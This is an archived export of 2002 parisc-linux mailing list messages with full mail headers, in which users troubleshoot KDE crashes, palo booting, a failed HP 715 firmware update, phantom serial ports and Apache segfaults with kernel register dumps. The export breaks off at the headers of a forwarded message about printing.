List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14134

Hi all,

I do hope this is not off-topic, but I could not find a hint to my 
problem anywhere else.

I'm running the 0.9.3 distribution on 2 PARISC machines: 
HP 712/80, 64MB RAM and HP 715/100XC, 256 MB RAM

Generally speaking KDE is slow on these machines, but
when I log in from KDM, it takes on _both_ machines about
4..5 minutes to go from KDM login screen to KDE window
manager.

Nothing fancy (wallpaper, fontaliasing, file preview) is enabled,
just a 2 color gradiant background.

What I can see from "top" is that the "kdeinit knotify" process
uses up to 90% CPU for quite a long time; it also seems to run
3 times in a row. Memory usage is neglectable.

When I finally "arrive" on the KDE desktop I get 3 SIGSEGV
(KDE crashmanager) for the 3 "knotify"s plus an error dialog
box saying: "The protocol for the file process died unexpectedly"
(I guess it means that the kio_file process died, but after all that
I have 1 kio_file process running)

After that KDE is usable.

Does anybody have similiar / better / worse experiences with
KDE ?  Any hints what to improve ? Is the KDE package in a
sub-optimal stage ?

Thanks for any input
Thomas

 




From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems running KDE on PARISC
Date: Fri, 22 Feb 2002 10:21:39 +0100
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 61
Approved: news@gmane.org
Message-ID: <E16eBtb-00077l-00@linuxlab.wdf.sap-ag.de>
References: <OF0A3B134F.4AC4EE69-ONC1256B68.002AD4A9@hasler.ascom.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621093 3707 80.91.229.3 (22 Nov 2014 01:51:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:33 +0000 (UTC)
To: "Thomas Schmid" <Thomas.Schmid@ascom.ch>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 02:21:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 269404849
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 02:21:42 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA20633;
  Fri, 22 Feb 2002 10:25:48 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <OF0A3B134F.4AC4EE69-ONC1256B68.002AD4A9@hasler.ascom.ch>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook.
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14135

Hi Thomas,

You may try to remove/move away the libarts binaries and libraries 
(dpkg -L libarts).
They regulaty crash here for me too when running the KDE 3 CVS version.
This seems to be related to the fact that we still have issues
with threads on hppa.

Helge

On Friday 22 February 2002 10:07, Thomas Schmid wrote:
> Hi all,
>
> I do hope this is not off-topic, but I could not find a hint to my
> problem anywhere else.
>
> I'm running the 0.9.3 distribution on 2 PARISC machines:
> HP 712/80, 64MB RAM and HP 715/100XC, 256 MB RAM
>
> Generally speaking KDE is slow on these machines, but
> when I log in from KDM, it takes on _both_ machines about
> 4..5 minutes to go from KDM login screen to KDE window
> manager.
>
> Nothing fancy (wallpaper, fontaliasing, file preview) is enabled,
> just a 2 color gradiant background.
>
> What I can see from "top" is that the "kdeinit knotify" process
> uses up to 90% CPU for quite a long time; it also seems to run
> 3 times in a row. Memory usage is neglectable.
>
> When I finally "arrive" on the KDE desktop I get 3 SIGSEGV
> (KDE crashmanager) for the 3 "knotify"s plus an error dialog
> box saying: "The protocol for the file process died unexpectedly"
> (I guess it means that the kio_file process died, but after all that
> I have 1 kio_file process running)
>
> After that KDE is usable.
>
> Does anybody have similiar / better / worse experiences with
> KDE ?  Any hints what to improve ? Is the KDE package in a
> sub-optimal stage ?
>
> Thanks for any input
> Thomas
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Helge Deller
SAP AG - LinuxLab and Unix Platforms
email: helge.deller@sap.com
Phone: +49 6227 7 - 67783



From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo not booting kernel
Date: Fri, 22 Feb 2002 10:23:52 +0100
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 11
Approved: news@gmane.org
Message-ID: <E16eBvk-00077t-00@linuxlab.wdf.sap-ag.de>
References: <20020220232407.T96452-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621094 3710 80.91.229.3 (22 Nov 2014 01:51:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:34 +0000 (UTC)
To: Yasholomew Yashinski <yashy@mail.yashy.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 02:24:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC2004854
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 02:24:06 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA23678;
  Fri, 22 Feb 2002 10:28:01 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20020220232407.T96452-100000@mail.yashy.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook.
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14136

On Thursday 21 February 2002 22:54, Yasholomew Yashinski wrote:
> I booted off 0/vmlinux and installed 2.4.16-32 via apt-get. 
> Trying to reboot I get the following:
> <crash>

Did you modified your /etc/palo.conf and run palo afterwards ?
In doubt please read the FAQ.

Helge



From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Schmid" <Thomas.Schmid@ascom.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Failed Firmware Update...
Date: Fri, 22 Feb 2002 14:15:15 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <OF24F42D74.714B6A40-ONC1256B68.00484869@hasler.ascom.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621094 3713 80.91.229.3 (22 Nov 2014 01:51:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 06:15:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ascomax.hasler.ascom.ch (ascomax.hasler.ascom.ch [139.79.135.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A298484D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 06:15:20 -0700 (MST)
Original-Received: from srvmailgate1.hasler.ascom.ch (srvmailgate1.hasler.ascom.ch [139.79.135.89])
	by ascomax.hasler.ascom.ch (8.11.4/8.11.4) with ESMTP id g1MDFG404659
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 14:15:17 +0100 (MET)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on SrvMailGate1/Ascom(Release 5.0.5 |September 22, 2000) at
 22.02.2002 14:15:16,
	Serialize complete at 22.02.2002 14:15:16
X-Filter-Version: 1.6 (ascomax)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14137

Hi all,

well, after following some threads in this list about firmware updates,
I decided to update my 715 to the current 1.6, up from 1.1.

Update so far went OK, but when it tried to reboot, it complained about
a memory error and halted the system. Rebooting afterwards stopped
at the "LED"-level; it gave me a "HPMC Cache Error", a "High Priority
Machine Check Cache Error". And that was it, no monitor, no nothing....

- Question: The machine I (now) had was a 715/100XC; can it be that the
1.6 firmware update is not suitable for that variant of the 715/100 ?
- Is there still hope to revive the machine ? (without HP's support...)

A bit frustrated....
Thomas



From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Strange serial behaviour on C160
Date: Fri, 22 Feb 2002 17:58:04 +0100 (CET)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0202221752390.14794-100000@r6.petescaff.com>
References: <20020220204800.A27212@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621094 3716 80.91.229.3 (22 Nov 2014 01:51:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 09:58:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E47A4858
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 09:58:07 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.33 #1)
	id 16eJ1I-0004Bs-00
	for parisc-linux@lists.parisc-linux.org; Fri, 22 Feb 2002 17:58:04 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <20020220204800.A27212@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14138

I now have 2.4.17-pa28 running on my C160 & things have improved but are
not yet perfect as I still have three serial ports......

/dev/ttyS0, UART: 16550A, Port: 0x0000, IRQ: 90
/dev/ttyS1, UART: 16550A, Port: 0x0000, IRQ: 121
/dev/ttyS2, UART: 16550A, Port: 0x0000, IRQ: 121

Of these devices the functional ports are 0 & 2. The weird speed problems
have gone away so I can use my second serial port without problems - it is
just a little odd that the rogue ttyS1 still shows up.

Anything I can usefully look at to try to help sort this out?

TIA
PeteM

On Wed, 20 Feb 2002, Matthew Wilcox wrote:

> On Wed, Feb 20, 2002 at 06:59:00PM +0100, Peter Mottram wrote:
> > Before upgrading from HP-UX to Linux I had two perfectly functioning
> > serial ports on my C160. I now appear to have THREE serial ports -
> > ttyS[0-2].
>
> Hehe.. yeah, that was the case for quite a long time :-)
>
> > ttyS0 works perfectly
> > ttyS1 goes somewhere - not found where yet
> > ttyS2 goes to my second serial port but does not work at all well. A
> > simple cat of a file to the device results in the file appearing on a
> > terminal just a few characters at a time & incredibly slowly. All serial
> > ports have the same settings & ttyS0 has no problems (I use it for the
> > console).
>
> If you could upgrade to the latest kernel, you will find the additional
> serial port gone again.  I hadn't heard about the speed problems before,
> so if you could tell me whether they're still present with most-recent
> kernel, that would be very helpful.  Thanks!

[SNIP]





From - Thu Nov 08 21:21:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Strange Kernel messages in kern.log
Date: Fri, 22 Feb 2002 18:21:37 +0100
Lines: 130
Approved: news@gmane.org
Message-ID: <20020222172137.GC25954@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621095 3719 80.91.229.3 (22 Nov 2014 01:51:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 22 10:21:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88302485B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 10:21:40 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP id BFA6315C00C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 18:21:38 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP id 6802815C00E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 18:21:38 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 5D00E15C00C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Feb 2002 18:21:38 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 45A1E633B2; Fri, 22 Feb 2002 18:21:38 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14139

What is the meaning of these?
At the time this happened, the machine was not used. The Apache
error.log says:

[Fri Feb 22 06:27:12 2002] [notice] SIGUSR1 received.  Doing graceful restart
[Fri Feb 22 06:27:15 2002] [notice] Apache/1.3.22 (Unix) Debian GNU/Linux configured -- resuming normal operations
[Fri Feb 22 06:27:15 2002] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Fri Feb 22 06:27:15 2002] [notice] child pid 303 exit signal Segmentation fault (11)
[Fri Feb 22 06:27:15 2002] [notice] child pid 302 exit signal Segmentation fault (11)
[Fri Feb 22 06:27:15 2002] [notice] child pid 300 exit signal Segmentation fault (11)
[Fri Feb 22 06:27:15 2002] [notice] child pid 299 exit signal Segmentation fault (11)
[Fri Feb 22 06:27:15 2002] [notice] child pid 298 exit signal Segmentation fault (11)

I guess cron.daily must have kicked in, but why would apache crash on
a restart?

Feb 22 06:27:14 gecko kernel: 
Feb 22 06:27:14 gecko kernel: do_page_fault() pid=298 command='apache' type=7 address=0x40380ad3
Feb 22 06:27:14 gecko kernel: vm_start = 0x40380000, vm_end = 0x40382000
Feb 22 06:27:14 gecko kernel: 
Feb 22 06:27:14 gecko kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Feb 22 06:27:14 gecko kernel: PSW: 00000000000001000000000000001111 Not tainted
Feb 22 06:27:14 gecko kernel: r00-03  00000000 400263e0 4038119f faf00600
Feb 22 06:27:14 gecko kernel: r04-07  40391588 faf0068c 00079ec0 0000006c
Feb 22 06:27:14 gecko kernel: r08-11  00000006 faf0066c 00000002 0000000f
Feb 22 06:27:14 gecko kernel: r12-15  faf0068c ffffffc4 40026604 00061700
Feb 22 06:27:14 gecko kernel: r16-19  00066700 00049000 00066700 40391588
Feb 22 06:27:14 gecko kernel: r20-23  00000001 40391588 40381184 400263f4
Feb 22 06:27:14 gecko kernel: r24-27  40026604 40381184 00079ec0 00061700
Feb 22 06:27:14 gecko kernel: r28-31  40027902 000003b5 faf00740 4000d2bb
Feb 22 06:27:14 gecko kernel: sr0-3   0000043b 0000043b 00000000 0000043b
Feb 22 06:27:14 gecko kernel: sr4-7   0000043b 0000043b 0000043b 0000043b
Feb 22 06:27:14 gecko kernel: 
Feb 22 06:27:14 gecko kernel: IASQ: 0000043b 0000043b IAOQ: 40380ad3 40380ad7
Feb 22 06:27:14 gecko kernel:  IIR: 08000240    ISR: 0000043b  IOR: 40380adc
Feb 22 06:27:14 gecko kernel:  CPU:        0   CR30: 10bd0000 CR31: 10330000
Feb 22 06:27:14 gecko kernel:  ORIG_R28: faf00798
Feb 22 06:27:14 gecko kernel: 
Feb 22 06:27:14 gecko kernel: do_page_fault() pid=299 command='apache' type=7 address=0x40380ad3
Feb 22 06:27:14 gecko kernel: vm_start = 0x40380000, vm_end = 0x40382000
Feb 22 06:27:14 gecko kernel: 
Feb 22 06:27:14 gecko kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Feb 22 06:27:14 gecko kernel: PSW: 00000000000001000000000000001111 Not tainted
Feb 22 06:27:14 gecko kernel: r00-03  00000000 400263e0 4038119f faf00600
Feb 22 06:27:15 gecko kernel: r04-07  40391588 faf0068c 00079ec0 0000006c
Feb 22 06:27:15 gecko kernel: r08-11  00000006 faf0066c 00000002 0000000f
Feb 22 06:27:15 gecko kernel: r12-15  faf0068c ffffffc4 40026604 00061700
Feb 22 06:27:15 gecko kernel: r16-19  00066700 00049000 00066700 40391588
Feb 22 06:27:15 gecko kernel: r20-23  00000001 40391588 40381184 400263f4
Feb 22 06:27:15 gecko kernel: r24-27  40026604 40381184 00079ec0 00061700
Feb 22 06:27:15 gecko kernel: r28-31  40027902 000003b5 faf00740 4000d2bb
Feb 22 06:27:15 gecko kernel: sr0-3   0000043d 0000043d 00000000 0000043d
Feb 22 06:27:15 gecko kernel: sr4-7   0000043d 0000043d 0000043d 0000043d
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel: IASQ: 0000043d 0000043d IAOQ: 40380ad3 40380ad7
Feb 22 06:27:15 gecko kernel:  IIR: 08000240    ISR: 0000043d  IOR: 40380adc
Feb 22 06:27:15 gecko kernel:  CPU:        0   CR30: 10b8c000 CR31: 10330000
Feb 22 06:27:15 gecko kernel:  ORIG_R28: faf00798
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel: do_page_fault() pid=303 command='apache' type=7 address=0x40380ad3
Feb 22 06:27:15 gecko kernel: vm_start = 0x40380000, vm_end = 0x40382000
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Feb 22 06:27:15 gecko kernel: PSW: 00000000000001000000000000001111 Not tainted
Feb 22 06:27:15 gecko kernel: r00-03  00000000 400263e0 4038119f faf00600
Feb 22 06:27:15 gecko kernel: r04-07  40391588 faf0068c 00079ec0 0000006c
Feb 22 06:27:15 gecko kernel: r08-11  00000006 faf0066c 00000002 0000000f
Feb 22 06:27:15 gecko kernel: r12-15  faf0068c ffffffc4 40026604 00061700
Feb 22 06:27:15 gecko kernel: r16-19  00066700 00049000 00066700 40391588
Feb 22 06:27:15 gecko kernel: r20-23  00000001 40391588 40381184 400263f4
Feb 22 06:27:15 gecko kernel: r24-27  40026604 40381184 00079ec0 00061700
Feb 22 06:27:15 gecko kernel: r28-31  40027902 000003b5 faf00740 4000d2bb
Feb 22 06:27:15 gecko kernel: sr0-3   00000446 00000446 00000000 00000446
Feb 22 06:27:15 gecko kernel: sr4-7   00000446 00000446 00000446 00000446
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel: IASQ: 00000446 00000446 IAOQ: 40380ad3 40380ad7
Feb 22 06:27:15 gecko kernel:  IIR: 08000240    ISR: 00000446  IOR: 40380adc
Feb 22 06:27:15 gecko kernel:  CPU:        0   CR30: 10b44000 CR31: 10330000
Feb 22 06:27:15 gecko kernel:  ORIG_R28: faf00798
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel: do_page_fault() pid=302 command='apache' type=7 address=0x40380ad3
Feb 22 06:27:15 gecko kernel: vm_start = 0x40380000, vm_end = 0x40382000
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Feb 22 06:27:15 gecko kernel: PSW: 00000000000001000000000000001111 Not tainted
Feb 22 06:27:15 gecko kernel: r00-03  00000000 400263e0 4038119f faf00600
Feb 22 06:27:15 gecko kernel: r04-07  40391588 faf0068c 00079ec0 0000006c
Feb 22 06:27:15 gecko kernel: r08-11  00000006 faf0066c 00000002 0000000f
Feb 22 06:27:15 gecko kernel: r12-15  faf0068c ffffffc4 40026604 00061700
Feb 22 06:27:15 gecko kernel: r16-19  00066700 00049000 00066700 40391588
Feb 22 06:27:15 gecko kernel: r20-23  00000001 40391588 40381184 400263f4
Feb 22 06:27:15 gecko kernel: r24-27  40026604 40381184 00079ec0 00061700
Feb 22 06:27:15 gecko kernel: r28-31  40027902 000003b5 faf00740 4000d2bb
Feb 22 06:27:15 gecko kernel: sr0-3   00000444 00000444 00000000 00000444
Feb 22 06:27:15 gecko kernel: sr4-7   00000444 00000444 00000444 00000444
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel: IASQ: 00000444 00000444 IAOQ: 40380ad3 40380ad7
Feb 22 06:27:15 gecko kernel:  IIR: 08000240    ISR: 00000444  IOR: 40380adc
Feb 22 06:27:15 gecko kernel:  CPU:        0   CR30: 10b0c000 CR31: 10330000
Feb 22 06:27:15 gecko kernel:  ORIG_R28: faf00798
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel: do_page_fault() pid=300 command='apache' type=7 address=0x40380ad3
Feb 22 06:27:15 gecko kernel: vm_start = 0x40380000, vm_end = 0x40382000
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Feb 22 06:27:15 gecko kernel: PSW: 00000000000001000000000000001111 Not tainted
Feb 22 06:27:15 gecko kernel: r00-03  00000000 400263e0 4038119f faf00600
Feb 22 06:27:15 gecko kernel: r04-07  40391588 faf0068c 00079ec0 0000006c
Feb 22 06:27:15 gecko kernel: r08-11  00000006 faf0066c 00000002 0000000f
Feb 22 06:27:15 gecko kernel: r12-15  faf0068c ffffffc4 40026604 00061700
Feb 22 06:27:15 gecko kernel: r16-19  00066700 00049000 00066700 40391588
Feb 22 06:27:15 gecko kernel: r20-23  00000001 40391588 40381184 400263f4
Feb 22 06:27:15 gecko kernel: r24-27  40026604 40381184 00079ec0 00061700
Feb 22 06:27:15 gecko kernel: r28-31  40027902 000003b5 faf00740 4000d2bb
Feb 22 06:27:15 gecko kernel: sr0-3   0000043f 0000043f 00000000 0000043f
Feb 22 06:27:15 gecko kernel: sr4-7   0000043f 0000043f 0000043f 0000043f
Feb 22 06:27:15 gecko kernel: 
Feb 22 06:27:15 gecko kernel: IASQ: 0000043f 0000043f IAOQ: 40380ad3 40380ad7
Feb 22 06:27:15 gecko kernel:  IIR: 08000240    ISR: 0000043f  IOR: 40380adc
Feb 22 06:27:15 gecko kernel:  CPU:        0   CR30: 10bdc000 CR31: 10330000
Feb 22 06:27:15 gecko kernel:  ORIG_R28: faf00798

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
C(++) is a write-only, high-level assembler language. -- Stefan Van Baelen.




From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Fw: [parisc-linux] Printing on a 712/60
Date: Fri, 22 Feb 2002 12:31:26 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <005801c1bbc6$c1f59360$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621095 3723 80.91.229.3 (22 Nov 2014 01:51:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
